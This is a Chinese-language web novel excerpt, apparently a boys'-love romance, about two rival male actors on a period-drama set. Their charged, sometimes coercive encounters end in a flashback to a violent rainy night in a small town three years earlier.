“周老师说笑了。”沈淮之的声音冷了下来,带着拒人千里的冰碴。他必须反击,不能任由对方这样掌控节奏。“入戏太深,有些疲惫而已。周老师的压迫感演得很到位。” “演?”周惊时像是听到了什么极其有趣的事情,低低地笑了起来,笑声在狭小的化妆间里回荡,带着一种金属般的震动感。他放下水瓶,身体微微前倾,手臂随意地搭在膝盖上,侧过头,目光不再是透过镜子,而是直接、赤裸地投向沈淮之的侧脸和颈项。 那目光如有实质,像带着倒刺的钩子。 “沈老师觉得刚才……是演的?”他压低了声音,气息仿佛带着热度,若有似无地拂过沈淮之敏感的耳廓。 沈淮之的呼吸一窒,颈后的寒毛瞬间立起。他强迫自己转过头,对上那双深不见底的眼睛。那里面没有戏谑的笑意,只有一片沉沉的、带着审视和某种不满足的探究,如同盯紧了猎物的猛兽,随时准备着下一次扑击。 “不然呢?”沈淮之迎着他的目光,下颌线绷紧,努力维持着最后的风度。 周惊时没有立刻回答。他慢条斯理地拿起另一瓶没开封的冰水,冰凉的瓶身带着凝结的水汽,猝不及防地贴上了沈淮之放在扶手上的手背。 “嘶——”冰得刺骨,沈淮之几乎是条件反射地缩了一下手。 周惊时却像是没看见他的反应,直接将那瓶冰水塞进了他手里,手指在交接时,状似无意地、极其短暂地擦过沈淮之冰凉的手背。 “沈老师,”他站起身,高大的身躯带来更强烈的压迫感。他微微俯身,靠近沈淮之的耳边,用只有两人能听到的气音低语,那声音像淬了毒的蜜糖,钻进耳膜,“刀是道具,是假的。” 温热的气息喷在耳廓,激起一片细小的战栗。 “但你的抖……”他刻意停顿了一下,舌尖似乎轻轻扫过齿列,发出一个极其细微的、充满恶意的气音,“是真的。” 说完,他直起身,仿佛什么都没发生,脸上又恢复了那种漫不经心的懒散,对着镜子随意抓了抓头发,转身掀开门帘走了出去。动作干脆利落,只留下化妆间里骤然降低的气压,和沈淮之手中那瓶冰得刺骨、却丝毫无法冷却他脸颊和耳根滚烫的矿泉水。 小陈吓得脸色发白,僵在原地,连呼吸都忘了。 沈淮之死死攥着那瓶水,冰凉的触感从掌心一路蔓延到手臂,却丝毫无法浇灭心底翻涌的怒火和一种更深层次的、令他恐慌的悸动。瓶身的水珠顺着他的指缝流下,滴落在廉价的地毯上,晕开一小片深色的湿痕。 “沈老师……”小陈的声音带着哭腔。 沈淮之猛地将冰水按在滚烫的颈侧,冰冷的刺激让他混乱的大脑短暂地清醒了一瞬。他看着镜子里那个眼神冰冷、耳根却红得滴血的男人,第一次如此清晰地认识到—— 周惊时,这条不知收敛的恶犬,根本不是来演戏的。 他是来撕咬的。 专门冲着他沈淮之这块被所有人奉若圭臬的“高岭之骨”而来。他精准地嗅到了他完美面具下的缝隙,然后毫不犹豫地将獠牙嵌了进去。 更可怕的是,沈淮之悲哀地发现,当那獠牙刺入的瞬间,除了尖锐的痛楚和愤怒,竟还夹杂着一丝隐秘的、连他自己都唾弃的……战栗的快意。 门帘外,隐隐传来道具组小妹压低却兴奋的议论: “周老师刚才进沈老师化妆间了?” “天啊……气场太强了,我都不敢靠近……” “听说周老师就爱挑战高难度,沈老师这种……” 后面的话听不清了,但“高难度”三个字,像针一样扎进沈淮之的耳朵。 他闭上眼,冰水沿着颈侧的皮肤滑下,留下一道湿冷的痕迹。可皮肤下,血液却在那个恶犬留下的气息和话语中,疯狂地奔流、喧嚣。 沈淮之的房车门被猛地推开时,他正在用冰袋敷着发烫的眼皮。 傍晚六点的影视基地闷热得像蒸笼,连空气都黏腻得能拧出水来。他刚结束连续十二小时的拍摄,身上的戏服被汗水浸透了三遍,化妆师不得不用吹风机一次次吹干那件月白色长衫上晕开的汗渍。而此刻,冰袋的凉意正缓慢渗入他过度疲劳的眼部肌肉,稍稍缓解着那种灼烧般的酸胀感。 "沈老师——" 助理小陈的声音卡在喉咙里,像被突然掐住了脖子的鸡。沈淮之还没睁眼,就感觉到一股极具侵略性的气息扑面而来,带着热浪、汗水和某种木质调须后水的味道,瞬间填满了整个房车空间。 他移开冰袋,睫毛上还沾着化开的水珠。 周惊时站在门口。 夕阳的余晖从他背后斜切过来,将他的影子拉得很长,直接覆盖到沈淮之屈起的膝盖上。他刚下戏,身上还穿着那件黑色工字背心,布料被汗水浸透,紧贴在精悍的腰腹上,勾勒出分明的肌肉轮廓。右臂上有一道新鲜的擦伤,血珠凝结在古铜色的皮肤上,像某种野蛮的装饰。 "借个医药箱。"他说,声音里带着运动后的微喘,却理直气壮得像在讨债。 沈淮之的指尖无意识地掐紧了冰袋。塑料包装发出细微的"咯吱"声,融化的冰水顺着他的手腕滑进袖口。 "周老师没有自己的房车?"他听见自己平静到近乎冰冷的声音。 周惊时笑了。他抬手抹了把下巴上的汗,喉结随着吞咽的动作上下滚动:"我的助理中暑了。"他顿了顿,目光像带着倒刺的钩子,慢条斯理地从沈淮之泛红的眼尾扫到微微敞开的领口,"还是说,沈老师怕我?" 房车里安静得可怕。空调出风口"嗡嗡"的运转声突然变得异常清晰。 小陈站在角落,大气不敢出,眼神在两人之间来回游移。沈淮之能感觉到自己的太阳穴在突突跳动,不是愤怒,而是一种更复杂的、让他喉咙发紧的情绪。 "医药箱在储物柜第二层。"最终他别开视线,重新将冰袋覆在眼睛上。黑暗中,他听见周惊时的靴子踩在房车地板上的闷响,听见柜门打开的吱呀声,听见绷带包装被撕开的脆响。 然后是突然逼近的体温。 沈淮之猛地扯下冰袋。周惊时不知何时已经单膝跪在了他面前的矮桌上,居高临下地俯视着他。这个姿势让两人的距离近得可怕,沈淮之甚至能看清对方锁骨上滚落的一滴汗珠,正沿着胸肌的沟壑缓缓下滑。 "你干什么?"他向后仰,脊背贴上沙发靠背。 周惊时晃了晃手里的碘伏棉签:"帮我处理伤口。"他说得理所当然,"我看不见。" 沈淮之的视线落在那道伤口上。大约五公分长,横贯右臂肱二头肌,边缘还沾着片场的假血和灰尘。不算严重,但放在那具充满力量感的身体上,莫名显得狰狞。 "让你的化妆师——" "他们都去照顾中暑的助理了。"周惊时打断他,突然俯身。沈淮之条件反射地屏住呼吸,却见对方只是伸手从他背后的储物格里抽了包湿巾,"沈老师不是出了名的乐于助人吗?" 湿巾包装被撕开的声音在寂静的空间里格外刺耳。 沈淮之盯着那张近在咫尺的脸。周惊时的眉骨很高,眼窝深邃,鼻梁上有一道很小的旧疤,给这张本就充满攻击性的脸又添了几分野性。此刻他微微挑眉的样子,活像只等着猎物自投罗网的野兽。 "转身。"沈淮之终于开口,声音比想象中更哑。他接过碘伏棉签,指节因为用力而微微发白。 周惊时轻笑一声,从矮桌上下来,转身背对他坐下。这个角度,沈淮之能看到他后颈被晒得发红的皮肤,和肩胛骨随着呼吸起伏的弧度。汗水沿着脊椎的凹陷向下滑,消失在裤腰边缘。 沈淮之深吸一口气,拧开碘伏瓶盖。刺鼻的气味瞬间在空气中弥漫开来。 "忍着点。"他说。 棉签触碰到伤口的瞬间,他清晰地感觉到周惊时的肌肉绷紧了。但对方没有发出一点声音,只有呼吸略微加重。沈淮之放轻动作,小心地清理着伤口周围的污渍。血迹擦掉后,露出底下泛红的皮肉,在古铜色的皮肤上像一道突兀的裂缝。 "怎么弄的?"他问,只是为了打破沉默。 "第七场戏,你ng的那条。"周惊时的声音从前方传来,带着点揶揄,"我被你推倒时蹭到道具剑了。" 沈淮之的手顿了一下。那是场情绪爆发的戏,他饰演的角色在得知家族被灭门后,崩溃地攻击反派,却被轻易制服。他ng了七次,不是因为演技问题,而是每次周惊时压上来时,那种近乎实质的压迫感都会让他本能地僵住。 "抱歉。"他干巴巴地说。 周惊时突然转过头。这个动作让沈淮之手里的棉签直接按在了伤口中央。但对方连眉头都没皱一下,只是用那双深不见底的眼睛盯着他:"沈老师也会道歉?" 太近了。沈淮之能数清他睫毛投下的阴影。碘伏的味道混合着对方身上的汗水气息,形成一种奇异的、令人头晕目眩的混合物。他猛地后撤,却撞上了沙发扶手。 "别动。"周惊时突然伸手扣住他的手腕,"还没包扎。" 沈淮之的脉搏在对方拇指下方疯狂跳动。他眼睁睁看着周惊时用另一只手抽走他指间的棉签,随意丢进垃圾桶,然后拿起绷带,塞回他手里。 "继续。"周惊时说,却没有松开对他的钳制。 沈淮之的喉结滚动了一下。他机械地展开绷带,凑近那道伤口。为了看清伤势,他不得不微微前倾,这个姿势几乎像是要拥抱对方。周惊时的体温隔着空气灼烧着他的脸颊,汗水、碘伏和那股挥之不去的须后水味道填满他的鼻腔。 绷带绕过肌肉饱满的手臂时,他的指尖不小心擦过对方的手肘内侧。周惊时的呼吸明显滞了一瞬,肌肉骤然绷紧。沈淮之像被烫到一样缩回手,却因为手腕还被扣着,只能尴尬地停在半空。 "怕什么?"周惊时低声问,拇指在他腕骨上摩挲了一下,"我又不会吃了你。" 这句话像根导火索。沈淮之突然用力抽回手,绷带"啪"地一声断开。他站起身,居高临下地看着仍然坐在矮桌上的周惊时,胸口剧烈起伏:"包扎好了,你可以走了。" 周惊时仰头看他,逆光中,那双眼睛黑得惊人。他慢条斯理地活动了一下包扎好的手臂,突然笑了:"沈老师手法不错。"他站起身,高大的身影瞬间将沈淮之笼罩在阴影里,"明天见。" 擦肩而过时,他的嘴唇几乎贴上沈淮之的耳廓:"希望下次ng,沈老师能坚持久一点。" 房车门关上的声音像一声枪响。沈淮之站在原地,后知后觉地发现自己掌心全是冷汗。腕骨上被触碰过的地方火烧火燎,仿佛烙铁留下的印记。 小陈战战兢兢地递来毛巾:"沈老师,您脸色不太好..." 沈淮之接过毛巾,狠狠擦了一把脸。布料粗糙的触感让他稍微清醒了些。他看向窗外,周惊时正穿过片场,背影挺拔得像柄出鞘的剑。似乎察觉到视线,那人突然回头,隔着数十米距离,精准地锁定了房车窗口的沈淮之。 他抬起刚包扎好的手臂,做了个开枪的手势。 "砰。"沈淮之几乎能听见他带着笑意的口型。 毛巾掉在了地上。 暴雨来得毫无预兆。 沈淮之站在片场临时搭建的棚子下,看着外面如注的雨水将地面砸出一个个浑浊的水坑。夜戏被迫中断,导演骂骂咧咧地宣布收工,工作人员手忙脚乱地收拾器材。潮湿的水汽混着泥土的腥味扑面而来,黏在他的皮肤上,挥之不去。 “沈老师,您的伞。”小陈递来一把黑色长柄伞,欲言又止,“周老师他……” 沈淮之顺着他的视线看去。 不远处,周惊时正站在雨中,任由雨水将他整个人浇透。黑色背心湿淋淋地贴在身上,勾勒出肌肉的每一寸轮廓。他仰着头,闭着眼,喉结在雨水的冲刷下显得格外锋利,像某种享受暴雨洗礼的野兽。 沈淮之移开视线:“不用管他。” 他撑开伞,踏入雨幕。冰凉的雨水立刻溅上他的裤脚,湿透的布料黏在小腿上,每一步都带着细微的阻力。片场的灯光在雨水中晕开,将他的影子拉得很长,又很快被雨水打碎。 身后传来脚步声。 沈淮之没有回头,但伞下的空间突然被入侵。一只湿漉漉的手握住了伞柄,带着不容拒绝的力道,将伞面微微倾斜。周惊时的气息瞬间包围了他——雨水、汗水,还有那股挥之不去的木质调须后水味。 “伞太小了。”周惊时的声音贴着耳后响起,带着雨水的凉意和呼吸的热度。 沈淮之的指节绷紧:“你自己没伞?” “坏了。”周惊时漫不经心地答,手臂若有若无地蹭过沈淮之的肩膀,调整伞的角度。雨水顺着他的发梢滴落,砸在沈淮之的颈侧,像一滴滚烫的蜡。 片场的灯光将两人的影子投在地上,重叠在一起,亲密得刺眼。 沈淮之加快了脚步。 更衣室是临时搭建的铁皮屋,隔音很差,雨点砸在屋顶上,发出震耳欲聋的噼啪声。沈淮之推门进去时,里面空无一人,只有几盏昏黄的灯泡在头顶摇晃,投下晃动的阴影。 他甩了甩伞上的水珠,刚想关门,一只手突然抵住了门框。 周惊时站在门口,浑身湿透,黑发凌乱地贴在额前,水珠顺着下颌线滑落,消失在衣领深处。他的眼睛在昏暗的灯光下黑得惊人,像两潭深不见底的沼泽。 “借个地方换衣服。”他说,声音被雨声模糊,却带着不容拒绝的意味。 沈淮之侧身让开,周惊时擦着他的肩膀挤了进来。更衣室瞬间变得逼仄,空气里充斥着雨水和潮湿的体温。 门在身后关上,雨声顿时被隔绝在外,只剩下两人交错的呼吸声。 沈淮之背对着他,从储物柜里取出干净的衣服。他能感觉到周惊时的视线落在他的背上,像一把钝刀,缓慢地刮过他的脊椎。 “不换?”周惊时的声音突然在身后响起,近得几乎贴着他的耳廓。 沈淮之猛地转身,差点撞上对方的胸膛。周惊时不知何时已经脱了湿透的背心,赤裸的上半身暴露在灯光下,肌肉线条分明,水珠沿着腹肌的沟壑滑进裤腰。那道包扎好的伤口被雨水浸湿,绷带边缘微微翘起,露出底下泛红的皮肉。 沈淮之的喉咙发紧:“你先换。” 周惊时笑了。他向前一步,将沈淮之逼得后退,脊背抵上冰凉的铁皮墙。 “怕什么?”他低头,呼吸喷在沈淮之的唇边,“沈老师不是见过更刺激的?” 沈淮之的指尖陷进掌心。周惊时的体温透过潮湿的空气传来,烫得他皮肤发麻。他别开脸,却正好将脖颈暴露在对方的目光下。 周惊时的眼神暗了暗。 他抬手,拇指按上沈淮之的喉结,感受着那里急促的跳动。 “今天拍戏的时候,”他低声说,指腹缓缓摩挲着那块脆弱的软骨,“你这里跳得很快。” 沈淮之的呼吸一滞。 那是场对峙戏,周惊时饰演的反派将他按在墙上,刀刃抵着他的喉咙。导演喊卡后,所有人都以为他是入戏太深才会颤抖,却没人知道—— 让他失控的从来不是戏里的刀。 而是周惊时看着他的眼神。 “放手。”沈淮之的声音冷得像冰,尾音却微微发颤。 周惊时没动。他的拇指继续向上,蹭过沈淮之的下巴,最后停在唇角。 “沈老师,”他轻声问,“你抖什么?” ——和那天一模一样的问题。 沈淮之的理智“啪”地断了。 他猛地揪住周惊时的衣领,将人狠狠按在另一侧的墙上。铁皮墙发出不堪重负的闷响,周惊时的后背撞上金属柜,却连眉头都没皱一下,反而低低地笑了起来。 “终于不装了?”他舔了舔唇角,眼神危险得像盯上猎物的狼。 沈淮之揪着他衣领的手在发抖。雨水从周惊时的发梢滴落,滑过他的鼻梁,最后悬在唇边,将落未落。 他的视线不受控制地追着那滴水珠。 下一秒,周惊时突然扣住他的后颈,狠狠吻了上来。 更衣室的铁皮墙在撞击下发出空洞的回响,像口破败的钟。沈淮之的脊背撞在冰冷的金属上,撞散了肺里最后一点空气。周惊时压着他,吻得毫无章法,像一场蓄谋已久的攻城略地。齿关被蛮横地撬开,舌尖带着暴雨的凉意和烟草的涩,攻城略地。沈淮之尝到了血腥味,分不清是谁的唇被咬破。 他屈膝顶向对方小腹,力道凶狠。周惊时闷哼一声,钳制稍松。沈淮之趁机挣脱,反手一拳砸向那张过于放肆的脸。 拳头被稳稳接住。周惊时的手掌滚烫,包裹着他的指节,拇指甚至暧昧地摩挲了一下他凸起的腕骨。 “够野。”周惊时舔掉唇角的血珠,眼神像燃着暗火的炭,“早该这样了,沈淮之。” 沈淮之的呼吸在胸腔里拉锯,每一次都扯得生疼。他猛地抽回手,指尖残留着对方皮肤灼人的温度和血腥的黏腻。他看也不看周惊时,抓起柜子上的干净衣服,拉开更衣室的门,撞进瓢泼的雨幕里。冰冷的雨水兜头浇下,瞬间打透薄薄的戏服,却浇不熄唇舌间滚烫的烙印和心口那把无名火。 * 第二天清晨,沈淮之是被化妆刷戳醒的。 “祖宗!你这嘴怎么回事?”化妆师Linda捏着他的下巴,对着镜子大惊小怪。 镜子里的人眼下带着明显的青黑,唇瓣红肿,下唇内侧还有一道细小的破口。 沈淮之垂下眼睫,遮住眼底翻涌的情绪:“昨晚吃辣,上火。” Linda将信将疑,用遮瑕膏小心地覆盖红肿的唇峰:“今天可是重头戏,媒体探班!你这‘上火’也太会挑时候了……”她絮絮叨叨,粉刷扫过沈淮之的颈侧时,动作忽然顿住。 “嘶——”沈淮之抽了口气。颈侧靠近耳根的地方,一片隐秘的皮肤传来火辣辣的刺痛。昨晚混乱中他竟毫无察觉。 Linda凑近细看,脸色变了变。一小片暗红的淤痕,边缘带着细微的齿印,暧昧地印在冷白的皮肤上,像雪地里落下的一枚熟透的浆果。 “这……”Linda的眼神瞬间复杂起来。 “蚊子咬的。”沈淮之拉高戏服领口,声音冷得像冰,“遮掉。” Linda噤了声,默默用更厚的遮瑕膏一层层覆盖上去。空气里只剩下粉刷扫过的沙沙声,压抑得让人窒息。 * 片场的气氛比暴雨前更沉闷。 今天拍的是重头对决戏。沈淮之饰演的世家公子终于查清灭门真相,与反派“罗刹”在竹林中生死相搏。剧本要求两人打得极尽惨烈,最后双双力竭坠入寒潭。 沈淮之穿着浸过水的厚重戏服,湿冷地贴在身上。他强迫自己将注意力集中在手中的道具剑上,剑柄的木纹硌着掌心。 “Action!” 风声呼啸,竹影摇曳。沈淮之持剑刺出,带着玉石俱焚的决绝。周惊时(罗刹)侧身避开,刀锋反撩,动作狠戾刁钻。金属道具撞击,发出刺耳的铮鸣。两人身影在镜头前快速交错,衣袂翻飞。 沈淮之的剑招带着世家剑法的清正端方,周惊时的刀法则全是野路子的阴狠毒辣。导演在监视器后屏住呼吸,这场打斗的美学张力近乎完美——一个如月下青竹,一个似淬毒荆棘。 刀锋又一次险险擦过沈淮之的颈侧,冰冷的金属感让他瞬间想起昨天抵在喉间的触感。他瞳孔微缩,动作慢了半拍。 “卡!”导演不满地皱眉,“淮之!眼神不对!不是恐惧,是恨!要恨到骨子里的那种!” 沈淮之闭了闭眼,压下喉头的滞涩:“抱歉,再来。” 第二次,周惊时的刀背故意扫过他腰侧,隔着湿透的戏服,力道不轻不重,却精准地碾过昨天被掐过的位置。沈淮之闷哼一声,气息彻底乱了。 “卡!” 第三次,周惊时将他逼退至一根粗壮的翠竹前,膝盖顶进他双腿之间,身体严丝合缝地压上来。戏里是罗刹制服猎物的姿态,戏外…… “沈老师,”周惊时用只有两人能听见的气音低语,灼热的气息喷在他被齿痕刺痛的颈侧,“遮瑕膏……味道不错。” 轰—— 一股热血直冲头顶。沈淮之想也没想,屈膝狠狠撞向对方腿间! “唔!”周惊时猝不及防,痛得弓腰。 “卡!!”导演霍然起身,脸色铁青,“沈淮之!你干什么?!” 全场的目光像聚光灯一样刺过来。沈淮之握着剑,指尖冰凉,胸口剧烈起伏。他看着周惊时捂着下腹,额头渗出冷汗,却抬起头,对着他扯出一个混杂着痛楚和极度兴奋的笑容。 “不好意思导演,”周惊时直起身,声音带着隐忍的哑,“是我没站稳,撞到沈老师了。” 导演狐疑地扫视两人,最终烦躁地挥手:“休息十分钟!淮之,惊时,调整状态!” 沈淮之转身就走,湿透的衣摆甩出冰冷的水珠。他能感觉到身后那道目光,像淬了毒的蛛丝,紧紧黏在他的背上。 * 休息区支着几顶遮阳棚。几个扛着长枪短炮的娱记正围着副导演采访,显然是提前来探班的媒体。 沈淮之刚接过小陈递来的热姜茶,一个尖锐的女声就插了进来。 “沈老师!看这边!”一个短发女记者举着话筒挤到他面前,眼神锐利,“听说您和周惊时老师在片场‘火花四溅’,多次NG,是真的吗?” “只是对角色理解不同,需要磨合。”沈淮之维持着惯有的温淡疏离,端起姜茶抿了一口。滚烫的液体滑过喉咙,却暖不了半分。 “磨合到需要动手吗?”另一个男记者语带讥讽,镜头直直怼向沈淮之颈侧。遮瑕膏被汗水浸润,加上刚才的打斗摩擦,那枚被精心掩盖的齿痕边缘,已经隐隐透出一点暗红。 小陈脸色煞白,下意识想挡。 沈淮之放下杯子,抬眼看向那个记者。他的眼神很平静,甚至带着点温和的笑意,却让那记者不由自主地后退了半步。 “拍打戏,磕碰难免。”他慢条斯理地卷起戏服的袖子,露出手臂上几处新鲜的青紫淤痕,“各位如果感兴趣,可以多拍拍这些‘勋章’。” 他态度坦荡,语气从容,倒显得记者们小题大做。众人讪讪地转移话题。 就在这时,周惊时走了过来。他换了一身干爽的黑色劲装,头发还湿漉漉地滴着水,脸色却已恢复如常,甚至带着点慵懒的笑意。他手里把玩着一枚小小的银色Zippo打火机,盖子开合间发出清脆的“咔哒”声。 “聊什么呢,这么热闹?”他自然地站到沈淮之身边,距离近得几乎肩碰肩。 那股熟悉的木质调须后水味混合着潮湿的水汽,再次强势地包裹了沈淮之。他脊背瞬间绷紧,颈侧的齿痕在遮瑕膏下隐隐发烫。 “周老师,听说您和沈老师配合默契,刚才那场打戏真是精彩绝伦!”有记者见风使舵,立刻奉承。 “是吗?”周惊时侧过头,目光落在沈淮之颈侧那片遮瑕膏上,嘴角勾起一抹玩味的弧度,“沈老师才是真厉害。”他顿了顿,声音压低,却足以让周围几个人听清,“昨晚……” 沈淮之的心脏骤然缩紧。 “……帮我处理伤口的手法,特别专业。”周惊时慢悠悠地补完后半句,指尖有意无意地掠过自己包扎好的手臂。 记者们交换着心照不宣的眼神。 沈淮之只觉得一股寒气从脚底窜起。周惊时在玩火。他在用这种模棱两可的暧昧,将他们之间那点见不得光的拉扯,暴露在聚光灯下,如同将一块鲜肉抛入鲨鱼群。 “过奖。”沈淮之拿起桌上的薄荷糖罐,倒出两颗翠绿的糖粒,丢进嘴里。清凉的薄荷气息瞬间在口腔炸开,强行压下翻涌的恶心感。他站起身,对众人微微颔首,“失陪,补妆。” 转身离开时,他清晰地听到周惊时在他身后低笑,用只有他能听清的气音说: “薄荷味……遮不住你的味道。” * 夜戏在寒潭边继续。 冰冷的潭水淹到胸口,刺骨的寒意针一样扎进骨头缝里。沈淮之按照剧本,被周惊时饰演的罗刹一掌击入水中。水花四溅,他沉下去,刺骨的寒意瞬间包裹全身。水下的光线扭曲昏暗,他挣扎着向上浮起。 突然,一只大手按住了他的后颈,力道沉重,将他狠狠压向更深的水底! 剧本里没有这一出! 沈淮之猝不及防,呛了一大口水。冰冷的潭水灌入鼻腔和喉咙,窒息的痛苦瞬间攫住了他。他奋力挣扎,双手胡乱地抓挠。按在他后颈的手却像铁钳,纹丝不动。 水波晃动中,他看见周惊时模糊的脸。他的眼神不是戏里罗刹的狠戾,而是一种冰冷的、带着审视和审判意味的幽暗,如同在欣赏濒死猎物的挣扎。 他是故意的! 求生的本能压倒了一切。沈淮之不再顾忌,屈膝用尽全身力气撞向对方下腹!同时指甲狠狠抓向周惊时手臂的伤口! 周惊时吃痛,钳制稍松。沈淮之猛地挣脱,破水而出,剧烈地咳嗽起来,肺部火辣辣地疼。 “卡!好!这条过了!”导演的声音带着兴奋,“落水的挣扎非常真实!惊时最后那个按压的即兴发挥太棒了!把罗刹的狠毒彻底演活了!” 片场响起稀稀拉拉的掌声。 沈淮之被人拉上岸,裹上厚厚的毛巾,浑身不受控制地颤抖。他咳得撕心裂肺,眼前阵阵发黑。 一杯热水递到他嘴边。 沈淮之抬眼,周惊时站在他面前,同样裹着毛巾,头发湿漉漉地滴着水。他的表情平静无波,仿佛刚才水下那场无声的谋杀与他毫无关系。 “沈老师,喝点热水。”他的声音甚至称得上温和。 沈淮之盯着他,眼底的恨意几乎要凝成实质。他抬手,狠狠打翻了那杯水! 滚烫的水泼在周惊时的戏服前襟上,氤氲开一片深色的湿痕。 片场瞬间死寂。所有目光聚焦在两人身上。 周惊时低头看了看被弄湿的衣服,又抬眼看向沈淮之。他的眼神沉了下去,像暴风雨前深黑的海面。他忽然抬手,拇指用力擦过沈淮之颈侧——那片被水浸透、遮瑕膏彻底脱落的皮肤上,那枚暗红的齿痕暴露无遗,在冷白的肌肤上刺眼无比。 “看来沈老师火气还是很大。”周惊时的拇指重重碾过那枚齿痕,声音不高,却清晰地传到周围每个人的耳朵里,“昨晚的‘蚊子’,咬得真狠。” 他松开手,转身离开,留下沈淮之僵立在原地,颈侧被碾过的皮肤火辣辣地疼,如同又被烙下了一个新的印记。 周围的窃窃私语如同冰冷的潮水,瞬间将他淹没。 * 深夜,沈淮之的房车。 灯光调得很暗。沈淮之靠在狭小的淋浴间墙壁上,任由冰冷的水流冲刷着身体。皮肤被冻得发青,他却感觉不到冷,只有颈侧那个地方,被周惊时拇指碾过的齿痕,在冷水下依旧灼热滚烫。 他闭上眼,周惊时水底那双冰冷的、带着审判意味的眼睛,和更衣室里那个充满侵略性的吻,反复交叠出现。 “砰!砰!砰!” 粗暴的砸门声骤然响起,像鼓点敲在沈淮之紧绷的神经上。 不用猜也知道是谁。 沈淮之关掉水阀,扯过浴袍裹住身体。湿发滴着水,落在锁骨上,冰凉一片。他走到门边,深吸一口气,拉开了门。 周惊时站在门外。他没穿戏服,只套了件黑色背心,外面随意披了件机车夹克。夜风灌进来,带着他身上浓烈的烟草味和酒气。他一手撑在门框上,高大的身影完全堵住了门口,另一只手里捏着那个熟悉的银色Zippo打火机,盖子开合,发出单调而压抑的“咔哒”声。 他的眼神比寒潭的水更冷,带着一种被酒精点燃的、不加掩饰的戾气。 “谈谈。”他吐出两个字,声音沙哑。 “我们没什么好谈的。”沈淮之挡在门口,声音同样冰冷。 周惊时嗤笑一声,猛地伸手扣住沈淮之的手腕,将他狠狠拽了出来!力道之大,让沈淮之踉跄着撞进他怀里,浓烈的酒气和烟草味瞬间将他包围。 “没什么好谈?”周惊时的手指像铁箍一样掐着他的腕骨,将他死死按在冰冷的房车外壁上,滚烫的唇几乎贴着他的耳廓,每一个字都裹挟着浓重的酒气和恨意,“沈淮之,你他妈装什么清高圣人?!” 他另一只手粗暴地扯开沈淮之的浴袍前襟! 冰凉的夜风瞬间灌入,激得沈淮之皮肤起栗。他胸前那些新鲜的、在寒潭边挣扎时被竹根和碎石划出的细长伤痕,以及更早一些、被道具剑柄撞击留下的青紫淤痕,全都暴露在昏暗的光线下。 周惊时的手指带着灼人的温度,重重按上他心口下方一道寸许长的暗红旧疤。那疤痕颜色已经很淡,像一条褪色的丝线,斜斜地嵌在冷白的皮肤上。 “这道疤怎么来的?”周惊时的声音像淬了毒的冰渣,死死盯着沈淮之骤然变色的脸,“三年前,清水镇,那个被你‘见义勇为’送进监狱的流氓头子陈彪,他手里的刀子划的,对不对?” 沈淮之的瞳孔骤然收缩,浑身的血液似乎在这一刻冻结了。 “你……怎么知道?”他的声音干涩得厉害。那是他刻意尘封、不愿再提的过去。 “我怎么知道?”周惊时像是听到了天大的笑话,低低地笑了起来,笑声里却充满了悲怆和狂怒,“因为我他妈就是那个被你顺手‘救’了、又被你反手送进少管所的小混混!” 他猛地揪住沈淮之的浴袍领口,将他拉得更近,两人鼻尖几乎相抵。沈淮之能看清他眼底翻涌的血丝和刻骨的痛恨。 “沈淮之,我的好‘恩人’!”周惊时咬牙切齿,每一个字都像从牙缝里挤出来,“你踩着我和陈彪的血上了头条,成了人人称颂的‘见义勇为好青年’,踩着这块跳板平步青云的时候,有没有想过……” 他的手指再次狠狠碾过沈淮之颈侧那枚齿痕,力道大得像是要撕下那块皮肉。 “当年那个被你当成功勋踩在脚下、差点死在少管所里的人,会回来找你?” 冰冷的夜风卷过,沈淮之浴袍散开,浑身冰冷地贴在车壁上,看着眼前男人眼中焚天的恨意,只觉得三年前清水镇那个混乱血腥的雨夜,裹挟着泥泞和绝望,兜头将他淹没。 房车冰冷的金属外壳硌着沈淮之赤裸的脊背,夜风刀子般刮过散开的浴袍前襟,冻得他皮肤发青。周惊时滚烫的呼吸喷在他脸上,裹挟着浓烈的酒气和刻骨的恨意,像一张烧红的铁网将他牢牢罩住。 “少管所……”沈淮之的声音破碎在风里,瞳孔因巨大的冲击而涣散,几乎无法聚焦在周惊时那张被恨意扭曲的英俊面孔上。三年前清水镇那个泥泞血腥的雨夜,裹挟着消毒水、铁锈和廉价雨水的气味,轰然冲垮了他记忆的堤坝。 三年前。清水镇。暴雨夜。 雨水像泼天的脏水,砸在坑洼不平的水泥路上,溅起浑浊的水花。十九岁的沈淮之蜷缩在一辆破旧的面包车后座,身上廉价的T恤被雨水和冷汗浸透,紧紧贴在单薄的胸膛上。他刚刚结束一场在邻县地下酒吧的驻唱,口袋里是几张皱巴巴的钞票。经纪人王姐坐在副驾,对着小镜子补妆,猩红的嘴唇在昏暗的车灯下像道狰狞的伤口。 “晦气!这破路!”司机骂骂咧咧,面包车猛地颠簸了一下,碾过一个深坑。 刺耳的刹车声和金属撞击的巨响几乎同时炸开!面包车失控般狠狠撞向路边堆积的废弃建材,沈淮之的头“咚”地撞上车窗,眼前瞬间金星乱冒。 “操!”王姐尖叫着护住脸。 混乱中,沈淮之透过被雨水模糊的车窗,看到前方十字路口,一辆黑色轿车斜冲出来,撞翻了一辆送外卖的摩托车。骑手像个破麻袋一样飞出去,滚在泥水里一动不动。几个黑影从黑色轿车里跳下来,骂骂咧咧,其中一个光头壮汉(陈彪)满脸横肉,眼神凶戾,手里赫然拎着一根锈迹斑斑的铁管。 “彪哥,人好像……没气了?”一个黄毛混混探了探摩托车骑手的鼻息,声音发颤。 “废物!”陈彪啐了一口,眼神扫过撞在建材堆上熄火的面包车,凶光毕露,“还有目击者?处理干净!” 恐惧像冰冷的毒蛇,瞬间缠紧了沈淮之的心脏。他看到那几个混混提着家伙,气势汹汹地朝面包车围拢过来。司机吓得面无人色,抖着手想重新发动车子,引擎却只发出徒劳的呻吟。 “快!手机!报警!”王姐的声音尖利刺耳,带着一种职业性的兴奋,她手忙脚乱地翻找自己的包,同时压低声音对沈淮之吼,“淮之!机会!大新闻!见义勇为!快!” 沈淮之的大脑一片空白。混混们沉重的脚步声和污言秽语穿透雨幕,越来越近。他下意识地摸向车门把手,冰凉刺骨。 就在这时,一道瘦高的身影如同鬼魅般从面包车斜后方的窄巷里冲了出来!那人穿着一件洗得发白的黑色连帽衫,帽子拉得很低,遮住了大半张脸,只露出线条紧绷的下颌。他像一头被激怒的幼兽,手里攥着一块板砖,不管不顾地朝着走在最前面的黄毛混混后脑狠狠拍去! “砰!”闷响被雨声吞没大半。黄毛哼都没哼一声,软倒在地。 